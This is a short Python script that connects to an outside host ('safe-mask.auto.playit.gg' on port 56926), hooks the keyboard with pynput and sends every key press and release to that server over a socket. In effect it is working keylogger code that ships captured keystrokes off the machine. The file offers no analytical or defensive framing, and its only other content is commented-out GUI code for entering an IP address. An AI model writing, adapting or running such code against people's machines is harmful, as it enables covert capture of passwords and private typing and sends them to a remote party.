import socket import os from tkinter import * from pynput import keyboard #ipFile = open("IP.txt") #IP = ipFile.read() #ipFile.close() #window = Tk() #label = Label(window, text= 'What is the IP') #entry = Entry(window, width=200) #entry.insert(END, IP) #label.pack() #entry.pack() SEPARATOR = "" BUFFER_SIZE = 128 # send 4096 bytes each time step host = "safe-mask.auto.playit.gg" # the ip address or hostname of the server, the receiver # the port, let's use 5001 port = 56926 # create the client socket s = socket.socket() print(f"[+] Connecting to {host}:{port}") s.connect((host, port)) print("[+] Connected.") #----------------------------------------------------------- def on_press(key): dataToSend = "P" dataToSend = dataToSend + (('{}'.format(key)).replace("'", "")) dataToSendBytes = dataToSend.encode() s.sendall(dataToSendBytes) def on_release(key): dataToSend = "R" dataToSend = dataToSend + (('{}'.format(key)).replace("'", "")) dataToSendBytes = dataToSend.encode() s.sendall(dataToSendBytes) with keyboard.Listener(on_press = on_press, on_release = on_release) as listener: listener.join()